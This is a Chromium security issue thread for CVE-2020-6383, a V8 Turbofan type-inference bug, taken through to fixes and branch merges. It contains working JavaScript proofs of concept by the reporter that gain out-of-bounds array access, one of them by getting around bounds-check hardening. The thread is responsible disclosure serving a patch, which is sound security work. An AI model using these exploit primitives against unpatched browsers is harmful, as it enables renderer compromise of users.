Starred by 2 users

Owner:	neis@chromium.org
CC:	adetaylor@chromium.org mvsta...@chromium.org benmason@chromium.org hablich@chromium.org tebbi@chromium.org pbomm...@chromium.org srinivassista@chromium.org achuith@chromium.org vahl@chromium.org ecmziegler@google.com
Status:	Fixed *(Closed)*
Components:	Blink>JavaScript>Compiler
Modified:	May 27, 2020
Backlog-Rank:	----
Editors:	----
EstimatedDays:	----
NextAction:	----
OS:	Linux, Android, Windows, Chrome, Mac, Fuchsia
Pri:	1
Type:	Bug-Security

Security_Impact-Stable
M-80
Security_Severity-High
allpublic
ClusterFuzz-Verified
CVE_description-submitted
Target-80
merge-merged-8.0
merge-merged-8.1
Release-2-M80
CVE-2020-6383
merge-merged-8.3

Issue 1051017: Security: Type inference issue in Typer::Visitor::TypeInductionVariablePhi

Reported by glazunov@google.com on Tue, Feb 11, 2020, 9:50 AM EST Project Member

Code

VULNERABILITY DETAILS

https://cs.chromium.org/chromium/src/v8/src/compiler/typer.cc?rcl=25c49d2bd6cbdc72b0779545d2a32406657befda&l=845

```
Type Typer::Visitor::TypeInductionVariablePhi(Node* node) {
[...]
  const bool both_types_integer = initial_type.Is(typer_->cache_->kInteger) &&
                                  increment_type.Is(typer_->cache_->kInteger);
  bool maybe_nan = false;
  // The addition or subtraction could still produce a NaN, if the integer
  // ranges touch infinity.
  if (both_types_integer) {
    Type resultant_type =
        (arithmetic_type == InductionVariable::ArithmeticType::kAddition)
            ? typer_->operation_typer()->NumberAdd(initial_type, increment_type)
            : typer_->operation_typer()->NumberSubtract(initial_type,
                                                        increment_type);
    maybe_nan = resultant_type.Maybe(Type::NaN()); // *** 1 ***
  }

[...]

  if (arithmetic_type == InductionVariable::ArithmeticType::kAddition) {
    increment_min = increment_type.Min();
    increment_max = increment_type.Max();
  } else {
    DCHECK_EQ(InductionVariable::ArithmeticType::kSubtraction, arithmetic_type);
    increment_min = -increment_type.Max();
    increment_max = -increment_type.Min();
  }

  if (increment_min >= 0) {
[...]
  } else if (increment_max <= 0) {
[...]
  } else {
    // Shortcut: If the increment can be both positive and negative,
    // the variable can go arbitrarily far, so just return integer.
    return typer_->cache_->kInteger; // *** 2 ***
  }
```

https://chromium.googlesource.com/v8/v8.git/+/b8b6075021ade0969c6b8de9459cd34163f7dbe1 is a fix for a security issue in the implementation of loop variable analysis. The patch makes the typer recognize cases where in statements like `for (var i = start; i < ...; i += increment) { ... }` the

loop variable can become `NaN` because `start` and `increment` are `Infinity` values of differing sign[1].

Unfortunately, the introduced check is not sufficient to catch all loops that can produce `NaN`. The code assumes that when the increment variable can be both positive and negative, the result type will be `kInteger` (which doesn't include `NaN`). However, since the value of `increment` can be changed from inside the loop body, it's possible, for example, to keep subtracting from `i` until it reaches `-Infinity`, and then set `increment` to `+Infinity`. This will make `i` become `NaN` in the next iteration of the loop.

VERSION
Google Chrome 80.0.3987.87 (Official Build) (64-bit)
Chromium 82.0.4055.0 (Developer Build) (64-bit)

REPRODUCTION CASE
```
<script>
function trigger() {
  var x = -Infinity;
  var k = 0;
  for (var i = 0; i < 1; i += x) {
      if (i == -Infinity) {
        x = +Infinity;
      }

      if (++k > 10) {
        break;
      }
  }

  var value = Math.max(i, 1024);
  value = -value;
  value = Math.max(value, -1025);
  value = -value;
  value -= 1022;
  value >>= 1; // *** 3 ***
  value += 10; //

  var array = Array(value);
  array[0] = 1.1;
  return [array, {}];
};

for (let i = 0; i < 20000; ++i) {
  trigger();
}

console.log(trigger()[0][11]);
</script>
```

Previously, the go-to exploitation technique for typer bugs was to make the compiler eliminate array bounds checks based on incorrect type information and thus trigger OOB access. The technique no longer works due to the hardening landed at https://bugs.chromium.org/p/v8/issues/detail?id=8806.

The proof-of-concept code above uses a different approach. The idea is to construct a JSArray for which the `length` field is larger than the capacity of its backing store. An attacker can abuse `ReduceJSCreateArray` optimization to achieve that:

https://cs.chromium.org/chromium/src/v8/src/compiler/js-create-lowering.cc?rcl=127c33f058f9fa2a28d17ea27094242666e033cd&l=611
```
Reduction JSCreateLowering::ReduceJSCreateArray(Node* node) {
[...]
  } else if (arity == 1) {
    Node* length = NodeProperties::GetValueInput(node, 2);
    Type length_type = NodeProperties::GetType(length);
    if (!length_type.Maybe(Type::Number())) {
      // Handle the single argument case, where we know that the value
      // cannot be a valid Array length.
      elements_kind = GetMoreGeneralElementsKind(
          elements_kind, IsHoleyElementsKind(elements_kind) ? HOLEY_ELEMENTS
                                                             : PACKED_ELEMENTS);
      return ReduceNewArray(node, std::vector<Node*>{length}, *initial_map,
                            elements_kind, allocation,
                            slack_tracking_prediction);
    }
    if (length_type.Is(Type::SignedSmall()) && length_type.Min() >= 0 &&
        length_type.Max() <= kElementLoopUnrollLimit &&
        length_type.Min() == length_type.Max()) { // *** 4 ***
      int capacity = static_cast<int>(length_type.Max()); // *** 5 ***
      return ReduceNewArray(node, length, capacity, *initial_map, elements_kind,
                            allocation, slack_tracking_prediction);
```

When the `length` argument is proven to be a tiny integer[4], the optimizer will use the predicted value to allocate the backing store[5], but will use the actual value to initialize the `length` field of the array.

The attacker also needs to prevent constant folding of the incorrectly typed variable. Once the possible range of the variable gets shrunk to a single value, the exploit may only use ineliminable nodes (for example, the PoC calls `SpeculativeNumberShiftRight` and `SpeculativeSafeIntegerAdd`).

As a result, the attacker will obtain a similar OOB access primitive, which is extremely convenient for exploitation.

CREDIT INFORMATION
Sergei Glazunov of Google Project Zero

become visible to the public. The scheduled disclosure date is 2020-05-11. Disclosure at an earlier date is also possible if agreed upon by all parties.

asan.log
9.3 KB View Download

Comment 1 by ClusterFuzz on Tue, Feb 11, 2020, 11:01 AM EST Project Member

ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://clusterfuzz.com/testcase?key=5649442083504128.

Comment 2 by rsleevi@chromium.org on Tue, Feb 11, 2020, 11:25 AM EST Project Member

Status: Assigned (was: Unconfirmed)
Owner: clemensb@chromium.org
Cc: mvsta...@chromium.org
Labels: OS-Android OS-Chrome OS-Fuchsia OS-Linux OS-Mac OS-Windows
Components: Blink>JavaScript>Compiler

Comment 3 by neis@chromium.org on Tue, Feb 11, 2020, 11:40 AM EST Project Member

Owner: neis@chromium.org
Cc: tebbi@chromium.org
Labels: Pri-1

Comment 4 by rsleevi@chromium.org on Tue, Feb 11, 2020, 12:00 PM EST Project Member

Labels: Security_Severity-High Security_Needs_Attention-Severity

Setting this to high, due to related-looking ~~Issue 1028863~~, but was hoping ClusterFuzz/V8 CF Sheriff could confirm that it's not Medium (OOB Read, Renderer)

Comment 5 by ClusterFuzz on Tue, Feb 11, 2020, 9:12 PM EST Project Member

Labels: Security_Impact-Head

Detailed Report: https://clusterfuzz.com/testcase?key=5649442083504128

Fuzzer:
Job Type: linux_asan_chrome_mp
Platform Id: linux

Crash Type: Fatal error
Crash Address:
Crash State:

```
v8::internal::JSArray::JSArrayVerify
v8::internal::HeapObject::HeapObjectVerify
v8::internal::Object::ObjectVerify
```

Sanitizer: address (ASAN)

Regressed: https://clusterfuzz.com/revisions?job=linux_asan_chrome_mp&range=635075:635076

Reproducer Testcase: https://clusterfuzz.com/download?testcase_id=5649442083504128

The reproduce tool requires a ClusterFuzz source checkout. To prepare one, run:

git clone https://github.com/google/clusterfuzz && cd clusterfuzz && git checkout tags/reproduce-tool-stable

To reproduce this issue, run:

./reproduce.sh -t https://clusterfuzz.com/testcase-detail/5649442083504128 -b /path/to/build

Please use the GN arguments provided in this report when building the binary. If you have any feedback on reproducing test cases, let us know at https://forms.gle/Yh3qCYFveHj6E5jz5 so we can improve.

Comment 6 by adetaylor@google.com on Thu, Feb 13, 2020, 1:02 AM EST Project Member

Labels: -Security_Impact-Head Security_Impact-Stable

neis@, based on the original report, I'm assuming that ClusterFuzz's conclusion that this affects only Head is wrong, and I',m changing labels thusly. Please fix if I'm wrong.

Comment 7 by neis@chromium.org on Thu, Feb 13, 2020, 6:24 AM EST Project Member

Status: Started (was: Assigned)

Comment 8 by bugdroid on Thu, Feb 13, 2020, 7:28 AM EST Project Member

The following revision refers to this bug:
https://chromium.googlesource.com/v8/v8.git/+/6516b1ccbe6f549d2aa2fe24510f73eb3a33b41a

commit 6516b1ccbe6f549d2aa2fe24510f73eb3a33b41a
Author: Georg Neis <neis@chromium.org>
Date: Thu Feb 13 12:27:45 2020

[turbofan] Harden ReduceJSCreateArray against typing bugs

~~Bug: chromium:1051017~~
Change-Id: I597363417d905bc65522d64ebfa2cbf9dde4b98f
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/2054086
Reviewed-by: Tobias Tebbi <tebbi@chromium.org>
Reviewed-by: Michael Stanton <mvstanton@chromium.org>
Commit-Queue: Georg Neis <neis@chromium.org>
Cr-Commit-Position: refs/heads/master@{#66255}

[modify] https://crrev.com/6516b1ccbe6f549d2aa2fe24510f73eb3a33b41a/src/compiler/js-create-lowering.cc

Comment 9 by bugdroid on Thu, Feb 13, 2020, 8:34 AM EST Project Member

The following revision refers to this bug:
https://chromium.googlesource.com/v8/v8.git/+/a2e971c56d1c46f7c71ccaf33057057308cc8484

commit a2e971c56d1c46f7c71ccaf33057057308cc8484
Author: Georg Neis <neis@chromium.org>
Date: Thu Feb 13 13:29:25 2020

[turbofan] Fix bug in Typer::TypeInductionVariablePhi

The fix in b8b6075021ade0969c6b8de9459cd34163f7dbe1 was insufficient.

The bug is that induction variable typing does not take into account
that the value can become NaN through addition or subtraction of
Infinities. The previous fix incorrectly assumed that this can only
happen when the initial value of the loop variable is an Infinity.

~~Bug: chromium:1051017~~
Change-Id: I8c9ffb2925288b80c00e18e7bc22a556bf540733
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/2051957
Commit-Queue: Georg Neis <neis@chromium.org>
Reviewed-by: Michael Stanton <mvstanton@chromium.org>
Reviewed-by: Tobias Tebbi <tebbi@chromium.org>
Cr-Commit-Position: refs/heads/master@{#66258}

[modify] https://crrev.com/a2e971c56d1c46f7c71ccaf33057057308cc8484/src/compiler/typer.cc
[add] https://crrev.com/a2e971c56d1c46f7c71ccaf33057057308cc8484/test/mjsunit/compiler/regress-1051017.js

Comment 10 by neis@chromium.org on Thu, Feb 13, 2020, 8:46 AM EST Project Member

Status: Fixed (was: Started)

Comment 11 by adetaylor@google.com on Thu, Feb 13, 2020, 10:53 AM EST Project Member

Labels: -Security_Needs_Attention-Severity Merge-Request-80 Merge-Request-81

Adding merge requests based on e-mail discussion with neis@.

srinivassista@ govind@ - we'll definitely be wanting to merge this in the first stable refresh, so please can we do whatever it takes to get some canary coverage?

Comment 12 by adetaylor@google.com on Thu, Feb 13, 2020, 12:55 PM EST Project Member

Labels: -Merge-Request-80 -Merge-Request-81 Merge-Approved-81 Merge-Approved-80

Please see if this looks good in canary (no unexpected crashes etc. in this area) - and if so, merge to beta and stable is approved.

Comment 13 by srinivassista@google.com on Thu, Feb 13, 2020, 1:09 PM EST Project Member

Approved for M80 (branch:3987) and M81 (branch:4044)

Comment 14 by gov...@chromium.org on Thu, Feb 13, 2020, 1:13 PM EST Project Member

Re #11: CL listed at #9 landed 4 hrs back so there is a bright chance it will get picked up by tonight's canary. So hopefully we will get canary coverage starting tonight.

Comment 15 by srinivassista@google.com on Fri, Feb 14, 2020, 10:20 AM EST Project Member

Pls confirm canary coverage and merge this change asap to M80 if its good, We are cutting stable RC today at 1pm PST

Comment 16 by bugdroid on Fri, Feb 14, 2020, 12:39 PM EST Project Member

Labels: merge-merged-8.0

The following revision refers to this bug:
https://chromium.googlesource.com/v8/v8.git/+/bb671f5fe09a1906e7682ff7fb41215fafa9e3e7

commit bb671f5fe09a1906e7682ff7fb41215fafa9e3e7
Author: Georg Neis <neis@chromium.org>
Date: Fri Feb 14 17:35:09 2020

Merged: [turbofan] Fix bug in Typer::TypeInductionVariablePhi

Revision: a2e971c56d1c46f7c71ccaf33057057308cc8484

~~BUG=chromium:1051017~~
NOTRY=true
NOPRESUBMIT=true
NOTREECHECKS=true
TBR=hablich@chromium.org

Change-Id: Ib910a1c76c262cab04b8cb58bbacbf8e5ea41629
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/2056854
Reviewed-by: Georg Neis <neis@chromium.org>
Commit-Queue: Georg Neis <neis@chromium.org>
Cr-Commit-Position: refs/branch-heads/8.0@{#40}
Cr-Branched-From: 69827db645fcece065bf16a795a4ec8d3a51057f-refs/heads/8.0.426@{#2}
Cr-Branched-From: 2fe1552c5809d0dd92e81d36a5535cbb7c518800-refs/heads/master@{#65318}

[modify] https://crrev.com/bb671f5fe09a1906e7682ff7fb41215fafa9e3e7/src/compiler/typer.cc
[add] https://crrev.com/bb671f5fe09a1906e7682ff7fb41215fafa9e3e7/test/mjsunit/compiler/regress-1051017.js

Comment 17 by bugdroid on Fri, Feb 14, 2020, 12:43 PM EST Project Member

The following revision refers to this bug:
https://chromium.googlesource.com/v8/v8.git/+/b6338a86b5ca98a2c1f88addb05e1705c48dd7be

commit b6338a86b5ca98a2c1f88addb05e1705c48dd7be
Author: Georg Neis <neis@chromium.org>
Date: Fri Feb 14 17:43:20 2020

Merged: [turbofan] Harden ReduceJSCreateArray against typing bugs

Revision: 6516b1ccbe6f549d2aa2fe24510f73eb3a33b41a

~~BUG=chromium:1051017~~
NOTRY=true
NOPRESUBMIT=true
NOTREECHECKS=true
TBR=hablich@chromium.org

Change-Id: I0d4ea7d49f8ffc81c9b7d109df6ceccc9e159c6f
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/2056855
Reviewed-by: Georg Neis <neis@chromium.org>
Commit-Queue: Georg Neis <neis@chromium.org>
Cr-Commit-Position: refs/branch-heads/8.0@{#42}
Cr-Branched-From: 69827db645fcece065bf16a795a4ec8d3a51057f-refs/heads/8.0.426@{#2}
Cr-Branched-From: 2fe1552c5809d0dd92e81d36a5535cbb7c518800-refs/heads/master@{#65318}

[modify] https://crrev.com/b6338a86b5ca98a2c1f88addb05e1705c48dd7be/src/compiler/js-create-lowering.cc

Comment 18 by bugdroid on Fri, Feb 14, 2020, 1:01 PM EST Project Member

Labels: merge-merged-8.1

The following revision refers to this bug:
https://chromium.googlesource.com/v8/v8.git/+/6ee70dd9a5190f11e567dc28f2f14cc29d4efbda

commit 6ee70dd9a5190f11e567dc28f2f14cc29d4efbda
Author: Georg Neis <neis@chromium.org>
Date: Fri Feb 14 18:00:29 2020

Merged: [turbofan] Fix bug in Typer::TypeInductionVariablePhi

Revision: a2e971c56d1c46f7c71ccaf33057057308cc8484

~~BUG=chromium:1051017~~
NOTRY=true
NOPRESUBMIT=true
NOTREECHECKS=true
TBR=hablich@chromium.org

Change-Id: Iabda50b698a19ceec61812f37c1384e5605ea78f
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/2056856
Reviewed-by: Georg Neis <neis@chromium.org>
Commit-Queue: Georg Neis <neis@chromium.org>
Cr-Commit-Position: refs/branch-heads/8.1@{#15}
Cr-Branched-From: a4dcd39d521d14c4b1cac020812e44ee04a7f244-refs/heads/8.1.307@{#1}
Cr-Branched-From: f22c213304ec3542df87019aed0909b7dafeaa93-refs/heads/master@{#66031}

[modify] https://crrev.com/6ee70dd9a5190f11e567dc28f2f14cc29d4efbda/src/compiler/typer.cc
[add] https://crrev.com/6ee70dd9a5190f11e567dc28f2f14cc29d4efbda/test/mjsunit/compiler/regress-1051017.js

Comment 19 by bugdroid on Fri, Feb 14, 2020, 1:07 PM EST Project Member

The following revision refers to this bug:
https://chromium.googlesource.com/v8/v8.git/+/95bd0e45c50d624d7f991fd39fe7f5a2ead34c20

commit 95bd0e45c50d624d7f991fd39fe7f5a2ead34c20
Author: Georg Neis <neis@chromium.org>
Date: Fri Feb 14 18:05:39 2020

Merged: [turbofan] Harden ReduceJSCreateArray against typing bugs

Revision: 6516b1ccbe6f549d2aa2fe24510f73eb3a33b41a

~~BUG=chromium:1051017~~
NOTRY=true
NOPRESUBMIT=true
NOTREECHECKS=true
TBR=hablich@chromium.org

Change-Id: I2c99e469e5ffae0b6f488ff50c0a56a75904a6b8
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/2056857
Reviewed-by: Georg Neis <neis@chromium.org>
Commit-Queue: Georg Neis <neis@chromium.org>
Cr-Commit-Position: refs/branch-heads/8.1@{#16}
Cr-Branched-From: a4dcd39d521d14c4b1cac020812e44ee04a7f244-refs/heads/8.1.307@{#1}
Cr-Branched-From: f22c213304ec3542df87019aed0909b7dafeaa93-refs/heads/master@{#66031}

[modify] https://crrev.com/95bd0e45c50d624d7f991fd39fe7f5a2ead34c20/src/compiler/js-create-lowering.cc

Comment 20 by neis@chromium.org on Fri, Feb 14, 2020, 1:11 PM EST Project Member

Labels: -Merge-Approved-80 -Merge-Approved-81

Comment 21 by neis@chromium.org on Fri, Feb 14, 2020, 1:13 PM EST Project Member

Canary looked good. Both CLs are now merged to v8's 8.0 and 8.1 branches.

Comment 22 by ClusterFuzz on Fri, Feb 14, 2020, 2:11 PM EST Project Member

Status: Verified (was: Fixed)
Labels: ClusterFuzz-Verified

ClusterFuzz testcase 5649442083504128 is verified as fixed in https://clusterfuzz.com/revisions?job=linux_asan_chrome_mp&range=741139:741141

If this is incorrect, please add the ClusterFuzz-Wrong label and re-open the issue.

Comment 23 by sheriffbot on Fri, Feb 14, 2020, 6:36 PM EST Project Member

Labels: Target-80 M-80

Setting milestone and target because of Security_Impact=Stable and high severity.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 24 by sheriffbot on Fri, Feb 14, 2020, 7:49 PM EST Project Member

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

Comment 25 by glazunov@google.com on Wed, Feb 19, 2020, 8:03 AM EST Project Member

I'm afraid the patch for this bug has introduced another issue.

```
Type Typer::Visitor::TypeInductionVariablePhi(Node* node) {
  int arity = NodeProperties::GetControlInput(node)->op()->ControlInputCount();
  DCHECK_EQ(IrOpcode::kLoop, NodeProperties::GetControlInput(node)->opcode());
  DCHECK_EQ(2, NodeProperties::GetControlInput(node)->InputCount());

  Type initial_type = Operand(node, 0);
  Type increment_type = Operand(node, 2);

  // If we do not have enough type information for the initial value or
  // the increment, just return the initial value's type.
  if (initial_type.IsNone() ||
      increment_type.Is(typer_->cache_->kSingletonZero)) { // *** 1 ***
    return initial_type;
  }
```

```
  // We only handle integer induction variables (otherwise ranges do not apply
  // and we cannot do anything). Moreover, we don't support infinities in
  // {increment_type} because the induction variable can become NaN through
  // addition/subtraction of opposing infinities.
  if (!initial_type.Is(typer_->cache_->kInteger) || // *** 2 ***
      !increment_type.Is(typer_->cache_->kInteger) ||
      increment_type.Min() == -V8_INFINITY ||
      increment_type.Max() == +V8_INFINITY) {
```

The check for the "increment variable equals zero" fast case[1] has been moved before the check that the initial type is `kInteger`[2]. However, the addition and subtraction of 0 are not guaranteed to preserve types in JavaScript, for example:
-0 + 0 == +0
string - 0 == number
etc.

The hardening patch prevents the issue from being immediately exploitable, but I'm certain there are other ways to abuse typer bugs.

The following test case triggers a SIGTRAP crash:
```
function trigger(str) {
  var k = 0;
  if (str == 2) {
    str = "321";
  } else {
    str = "123";
  }
  for (var i = str; i < 1000; i -= 0) {
      if (++k > 10) {
        break;
      }
  }

  return i;
};


for (let i = 0; i < 20000; ++i) {
  trigger(0);
}
```

Comment 26 by neis@chromium.org on Wed, Feb 19, 2020, 8:18 AM EST Project Member

Status: Assigned (was: Verified)

You are totally right, I'm very sorry for this. I will change this path to also go through the normal phi typing. In addition, we are thinking of implementing a validation step that will protect against such bugs.

Comment 27 by glazunov@google.com on Wed, Feb 19, 2020, 10:05 AM EST Project Member

neis@ no worries! I also missed the issue when looked at the patch last week.

I don't think there are too many bugs left in the typer, but at least for catching regressions automatic type validation sounds like a great idea.

Comment 28 by bugdroid on Wed, Feb 19, 2020, 11:41 AM EST Project Member

The following revision refers to this bug:
https://chromium.googlesource.com/v8/v8.git/+/68099bffaca0b4cfa10eb0178606aa55fd85d8ef

commit 68099bffaca0b4cfa10eb0178606aa55fd85d8ef
Author: Georg Neis <neis@chromium.org>
Date: Wed Feb 19 16:40:45 2020

[turbofan] Fix bug in Typer::TypeInductionVariablePhi, again

Regrettably the previous fix was flawed because a zero increment can
change the type of the induction variable.

~~Bug: chromium:1051017~~
Change-Id: I2d7aeffb2065e739445118a2d0c5f7732eecdcbb
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/2064222
Reviewed-by: Michael Stanton <mvstanton@chromium.org>
Reviewed-by: Tobias Tebbi <tebbi@chromium.org>
Commit-Queue: Georg Neis <neis@chromium.org>
Cr-Commit-Position: refs/heads/master@{#66345}

[modify] https://crrev.com/68099bffaca0b4cfa10eb0178606aa55fd85d8ef/src/compiler/typer.cc
[modify] https://crrev.com/68099bffaca0b4cfa10eb0178606aa55fd85d8ef/test/mjsunit/compiler/regress-1051017.js

Comment 29 by sheriffbot on Wed, Feb 19, 2020, 1:05 PM EST Project Member

Status: Fixed (was: Assigned)

Please mark security bugs as fixed as soon as the fix lands, and before requesting merges. This update is based on the merge- labels applied to this issue. Please reopen if this update was incorrect.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 30 by neis@chromium.org on Thu, Feb 20, 2020, 4:21 AM EST Project Member

Preparing merges for 68099bffaca0b4cfa10eb0178606aa55fd85d8ef now.

Comment 31 by neis@chromium.org on Thu, Feb 20, 2020, 4:21 AM EST Project Member

Cc: hablich@chromium.org

Comment 32 by bugdroid on Thu, Feb 20, 2020, 4:46 AM EST Project Member

The following revision refers to this bug:
https://chromium.googlesource.com/v8/v8.git/+/d54d3bff44d1efdbd72a1a501eadf10f67556d2a

commit d54d3bff44d1efdbd72a1a501eadf10f67556d2a
Author: Georg Neis <neis@chromium.org>
Date: Thu Feb 20 09:45:38 2020

Merged: [turbofan] Fix bug in Typer::TypeInductionVariablePhi, again

Revision: 68099bffaca0b4cfa10eb0178606aa55fd85d8ef

~~BUG=chromium:1051017~~
NOTRY=true
NOPRESUBMIT=true
NOTREECHECKS=true
TBR=hablich@chromium.org

Change-Id: Ib0b42884e54ec839302e9aa2826c3801c01e02a7
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/2064969
Reviewed-by: Georg Neis <neis@chromium.org>
Commit-Queue: Georg Neis <neis@chromium.org>
Cr-Commit-Position: refs/branch-heads/8.0@{#50}
Cr-Branched-From: 69827db645fcece065bf16a795a4ec8d3a51057f-refs/heads/8.0.426@{#2}
Cr-Branched-From: 2fe1552c5809d0dd92e81d36a5535cbb7c518800-refs/heads/master@{#65318}

[modify] https://crrev.com/d54d3bff44d1efdbd72a1a501eadf10f67556d2a/src/compiler/typer.cc
[modify] https://crrev.com/d54d3bff44d1efdbd72a1a501eadf10f67556d2a/test/mjsunit/compiler/regress-1051017.js

Comment 33 by bugdroid on Thu, Feb 20, 2020, 4:47 AM EST Project Member

The following revision refers to this bug:
https://chromium.googlesource.com/v8/v8.git/+/c9dc0f3e79bffb672d9e6d52a4472939deb9e5f1

commit c9dc0f3e79bffb672d9e6d52a4472939deb9e5f1
Author: Georg Neis <neis@chromium.org>
Date: Thu Feb 20 09:46:44 2020

Merged: [turbofan] Fix bug in Typer::TypeInductionVariablePhi, again

Revision: 68099bffaca0b4cfa10eb0178606aa55fd85d8ef

~~BUG=chromium:1051017~~
NOTRY=true
NOPRESUBMIT=true
NOTREECHECKS=true
TBR=hablich@chromium.org

Change-Id: I34a8092441d62fb658403e502684ef9fb7323ba7
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/2064970
Reviewed-by: Georg Neis <neis@chromium.org>
Commit-Queue: Georg Neis <neis@chromium.org>
Cr-Commit-Position: refs/branch-heads/8.1@{#27}
Cr-Branched-From: a4dcd39d521d14c4b1cac020812e44ee04a7f244-refs/heads/8.1.307@{#1}
Cr-Branched-From: f22c213304ec3542df87019aed0909b7dafeaa93-refs/heads/master@{#66031}

[modify] https://crrev.com/c9dc0f3e79bffb672d9e6d52a4472939deb9e5f1/src/compiler/typer.cc
[modify] https://crrev.com/c9dc0f3e79bffb672d9e6d52a4472939deb9e5f1/test/mjsunit/compiler/regress-1051017.js

Comment 34 by gov...@chromium.org on Thu, Feb 20, 2020, 9:19 AM EST Project Member

Cc: benmason@chromium.org srinivassista@chromium.org pbomm...@chromium.org adetaylor@chromium.org

CL listed at #t 28 is not in canary yet and got merged to M81 & M80 without canary coverage at #32 and #33. Looks like CL is fixed to regression caused by original change per comment #25.

May I please know why change is merged without canary coverage?
Also Is the change fully safe to merge to M80 without canary coverage?

+TPMs for visibility.

Comment 35 by glazunov@google.com on Thu, Feb 20, 2020, 9:26 AM EST Project Member

Thanks for the quick fix!

I'm attaching a proof-of-concept code for the zero increment bug that implements an OOB access primitive. Since the JSCreateArray vector is fixed, I had to use a different one. It turns out though there's a public blog post at https://doar-e.github.io/blog/2019/05/09/circumventing-chromes-hardening-of-typer-bugs/ which explains how to bypass the bounds check elimination hardening. Basically, if you make v8 notice an OOB access on the array variable you're going to abuse, Turbofan will emit a `NumberLessThan` node instead of `CheckBounds`. `NumberLessThan` is not covered by ~~https://crbug.com/v8/8806~~ and can still be eliminated.

```
function main() {
  function trigger(str) {
    var x = 0;
    var k = 0;
    str = str | 0;
    str = Math.min(str, 2);
    str = Math.max(str, 1);
    if (str == 1) {
      str = "30";
    }
    for (var i = str; i < 0x1000; i -= x) {
        if (++k > 1) {
          break;
        }
    }

    if (typeof i == 'string') {
      i = 1;
    }

    i += 1;
    i >>= 1;
    i += 2;
    i >>= 1;

    var array = [0.1, 0.1, 0.1, 0.1];
    var array2 = [];
    return [array[i], array, array2];
  };
```

```
  for (let i = 0; i < 20000 + 1; ++i) {
    result = trigger(1 + i % 2);
  }

  console.log(result[0]);
}

%NeverOptimizeFunction(main);
main();
```

Could you please consider hardening `NumberLessThan` against typer bugs as well when you have time?

Comment 36 by neis@chromium.org on Thu, Feb 20, 2020, 9:38 AM EST Project Member

#35: Thanks for letting us know about this.

#34: I had asked hablich@ if I should merge this directly or go again through the whole procedure, and I got an okay for merging directly. My apologies if there was a misunderstanding. As to merge-safety, I'm pretty sure it's safe to merge.

Comment 37 by hablich@chromium.org on Thu, Feb 20, 2020, 9:40 AM EST Project Member

I had the impression we have Canary coverage for that?

In the end, the initial fix was not sufficient enough, thus the extra CL. We figured it should be rolled out to stable with the whole fix.

Comment 38 by gov...@chromium.org on Thu, Feb 20, 2020, 9:42 AM EST Project Member

Change didn't make it to canary yet - https://chromiumdash.appspot.com/commits?user=neis%40chromium.org&platform=Windows.

Comment 39 by adetaylor@google.com on Thu, Feb 20, 2020, 12:50 PM EST Project Member

Labels: Release-2-M80

Comment 40 by adetaylor@chromium.org on Thu, Feb 20, 2020, 1:22 PM EST Project Member

Labels: CVE-2020-6383 CVE_description-missing

Comment 41 by gov...@chromium.org on Thu, Feb 20, 2020, 4:12 PM EST Project Member

Please verify this on 82.0.4064.0+ canary.

Comment 42 by neis@chromium.org on Fri, Feb 21, 2020, 3:30 AM EST Project Member

Canary looks good.

Comment 43 by adetaylor@chromium.org on Thu, Feb 27, 2020, 5:53 PM EST Project Member

Labels: -CVE_description-missing CVE_description-submitted

Comment 44 by bugdroid on Mon, Mar 2, 2020, 7:33 AM EST Project Member

The following revision refers to this bug:
https://chromium.googlesource.com/v8/v8.git/+/e440eda4ad9bfd8983c9896de574556e8eaee406

commit e440eda4ad9bfd8983c9896de574556e8eaee406
Author: Georg Neis <neis@chromium.org>
Date: Mon Mar 02 12:24:00 2020

[turbofan] Validate computed induction variable phi type

~~Bug: chromium:1051017~~
Change-Id: I1729c059f4bc4fc75615fa0aa8dacf44dc56dad4
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/2066968
Commit-Queue: Georg Neis <neis@chromium.org>
Reviewed-by: Tobias Tebbi <tebbi@chromium.org>
Reviewed-by: Michael Stanton <mvstanton@chromium.org>
Cr-Commit-Position: refs/heads/master@{#66526}

[modify] https://crrev.com/e440eda4ad9bfd8983c9896de574556e8eaee406/src/compiler/typer.cc

Comment 45 by adetaylor@google.com on Wed, Mar 4, 2020, 1:44 PM EST Project Member

Cc: achuith@chromium.org

Comment 46 by bugdroid on Mon, Mar 9, 2020, 8:58 AM EDT Project Member

The following revision refers to this bug:
https://chromium.googlesource.com/v8/v8.git/+/fa5fc748e53ad9d3ca44050d07659e858dbffd94

commit fa5fc748e53ad9d3ca44050d07659e858dbffd94
Author: Georg Neis <neis@chromium.org>
Date: Mon Mar 09 12:57:07 2020

[turbofan] Harden BuildElementAccess against potential typer bugs

~~Bug: chromium:1051017~~
Change-Id: Id300c6d5f88b762e465383ac78ed037d3bc958d5
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/2089938
Commit-Queue: Georg Neis <neis@chromium.org>
Reviewed-by: Tobias Tebbi <tebbi@chromium.org>
Cr-Commit-Position: refs/heads/master@{#66627}

[modify] https://crrev.com/fa5fc748e53ad9d3ca44050d07659e858dbffd94/src/compiler/js-native-context-specialization.cc
[modify] https://crrev.com/fa5fc748e53ad9d3ca44050d07659e858dbffd94/src/compiler/simplified-lowering.cc
[modify] https://crrev.com/fa5fc748e53ad9d3ca44050d07659e858dbffd94/src/compiler/simplified-operator.cc
[modify] https://crrev.com/fa5fc748e53ad9d3ca44050d07659e858dbffd94/src/compiler/simplified-operator.h

Comment 47 by bugdroid on Thu, Apr 2, 2020, 8:56 AM EDT Project Member

Labels: merge-merged-8.3

The following revision refers to this bug:
https://chromium.googlesource.com/v8/v8.git/+/6516b1ccbe6f549d2aa2fe24510f73eb3a33b41a

commit 6516b1ccbe6f549d2aa2fe24510f73eb3a33b41a
Author: Georg Neis <neis@chromium.org>
Date: Thu Feb 13 12:27:45 2020

